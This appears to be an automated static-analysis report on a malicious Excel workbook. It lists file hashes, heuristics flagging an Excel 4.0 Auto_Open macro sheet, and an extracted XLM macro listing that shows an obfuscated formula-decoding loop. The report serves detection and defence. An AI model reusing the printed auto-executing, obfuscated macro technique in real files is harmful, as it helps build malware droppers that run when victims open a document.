Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ed28ce1f7d6ab8ba…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:27 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 7847ca7dc2728a02dc5d1fada0c9a9f6 SHA-1: 3dee17e5337b16888dcbb1cad658c292c056b6d4 SHA-256: ed28ce1f7d6ab8baf9bc112983931257887b1037b3b54eaeb53516364e109b7b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6582 bytes
SHA-256: 836689baa786674167c26af63219ceeb4b7023dce9b9f4cb29b5aead3f2bc4aa
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zRnLYYKbx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D158 
' 0018     23 LABEL : Cell Value, String Constant - DNecZvsA len=0 
' 0018     27 LABEL : Cell Value, String Constant - DWXvXuvihYvC len=0 
' 0018     24 LABEL : Cell Value, String Constant - GHeCHEjyx len=0 
' 0018     20 LABEL : Cell Value, String Constant - GLMhz len=0 
' 0018     25 LABEL : Cell Value, String Constant - GuWFBLgtaY len=0 
' 0018     25 LABEL : Cell Value, String Constant - iOzDljBdqa len=0 
' 0018     27 LABEL : Cell Value, String Constant - iWXjpPNfTfTY len=0 
' 0018     20 LABEL : Cell Value, String Constant - JHEQi len=0 
' 0018     21 LABEL : Cell Value, String Constant - JZwKeP len=0 
' 0018     22 LABEL : Cell Value, String Constant - LaJjSqj len=0 
' 0018     25 LABEL : Cell Value, String Constant - MDnXfFaCuN len=0 
' 0018     27 LABEL : Cell Value, String Constant - MsaWckJfwWtV len=0 
' 0018     25 LABEL : Cell Value, String Constant - OYAKUIegzc len=0 
' 0018     22 LABEL : Cell Value, String Constant - QXAcKAY len=0 
' 0018     20 LABEL : Cell Value, String Constant - tSHjL len=0 
' 0018     24 LABEL : Cell Value, String Constant - UCfhsKCbM len=0 
' 0018     22 LABEL : Cell Value, String Constant - VkWAzUG len=0 
' 0018     27 LABEL : Cell Value, String Constant - XVLmlJtoJbkJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - ywcIy len=0 
' 0018     27 LABEL : Cell Value, String Constant - zfkHXpdMUCOG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zRnLYYKbx,D66,"SET.NAME("GuWFBLgtaY",VALUE("0"))",""
'  zRnLYYKbx,D68,"SET.NAME("VkWAzUG",GuWFBLgtaY)",""
'  zRnLYYKbx,D70,"SET.NAME("GLMhz",GuWFBLgtaY)",""
'  zRnLYYKbx,D74,"SET.NAME("OYAKUIegzc",COUNTA(tSHjL))",""
'  zRnLYYKbx,D78,"SET.NAME("XVLmlJtoJbkJ",COUNTA(LaJjSqj))",""
'  zRnLYYKbx,D82,[],""
'  zRnLYYKbx,D86,"SET.NAME("MsaWckJfwWtV","")",""
'  zRnLYYKbx,D91,"VkWAzUG",""
'  zRnLYYKbx,D94,"SET.NAME("ywcIy",HLOOKUP("*",tSHjL,VkWAzUG,FALSE))",""
'  zRnLYYKbx,D97,"DWXvXuvihYvC",""
'  zRnLYYKbx,D102,"SET.NAME("QXAcKAY",GuWFBLgtaY)",""
'  zRnLYYKbx,D106,[],""
'  zRnLYYKbx,D110,"QXAcKAY",""
'  zRnLYYKbx,D114,"GHeCHEjyx",""
'  zRnLYYKbx,D118,"JHEQi",""
'  zRnLYYKbx,D123,"iOzDljBdqa",""
'  zRnLYYKbx,D126,"SET.NAME("JZwKeP",VALUE(HLOOKUP("*",LaJjSqj,iOzDljBdqa,FALSE)))",""
'  zRnLYYKbx,D128,"DNecZvsA",""
'  zRnLYYKbx,D130,"MsaWckJfwWtV",""
'  zRnLYYKbx,D133,"GLMhz",""
'  zRnLYYKbx,D138,NEXT(),""
'  zRnLYYKbx,D140,"UCfhsKCbM",""
'  zRnLYYKbx,D142,"SET.NAME("f",INT(T(FORMULA(T(MsaWckJfwWtV)&"",""&T(UCfhsKCbM)))))",""
'  zRnLYYKbx,D147,"MDnXfFaCuN",""
'  zRnLYYKbx,D151,NEXT(),""
'  zRnLYYKbx,D154,RETURN(),""
'  zRnLYYKbx,D188,"SET.NAME("iWXjpPNfTfTY",D66)",""
'  zRnLYYKbx,D190,"tSHjL",""
'  zRnLYYKbx,D192,"SET.NAME("LaJjSqj",R62C15)",""
'  zRnLYYKbx,D194,"SET.NAME("MDnXfFaCuN",199)",""
'  zRnLYYKbx,D196,"SET.NAME("zfkHXpdMUCOG",4)",""
'  zRnLYYKbx,D198,iWXjpPNfTfTY(),""
'  zRnLYYKbx,D199,HALT(),""

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